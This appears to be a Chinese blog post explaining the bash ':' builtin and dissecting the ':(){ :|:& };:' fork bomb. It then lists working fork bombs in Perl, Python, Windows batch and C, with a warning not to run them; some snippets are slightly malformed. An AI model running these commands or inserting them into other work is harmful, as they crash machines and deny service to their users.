bash中的冒号, 以及bash bomb解析还有各种各样的炸弹

bash中的冒号是内建命令

":" is a builtin shell command, and is equivalent to to the "true" command, it is used mostly as a placeholder in scripts.

永远返回真, 相当于一个站位符号.

可以用来注释,跨行注释

: 'this is
comment
!!'

如下是一个有冒号的,看似是一个命令. 会不断fork线程,导致机器崩溃.
但实际上, 这个和冒号命令无关.

:(){ :|:& };:

: 这里代表是定义了一个函数名字而已. 和下面的一段bash代码意义相同.

funcname() {
    # Run 2 instances of the very same function
    # in the background. Each of these new
    # processes will do the same: each starts 2 new
    # processes doing the same,... and again, and again..
    funcname | funcname &
}

STUB: dont run this! It will probably halt your computer.

# Now just call the function to start forking
# bash processes indefinately.

funcname

# We will never get here.

如何让机器死机?

Perl exmaple:

perl -e "fork while fork" &

Python example:

import os
  while(1):
      os.fork()

Windows XP / Vista bat file example:

:bomb
start %0
goto bomb

UNIX style for Windows:

%0|%0

C program example:

#include
 int main() {   while(1)      fork();  } 

Plz note that the fork bomb is a form of denial of service, so don’t run on production or unauthorized system.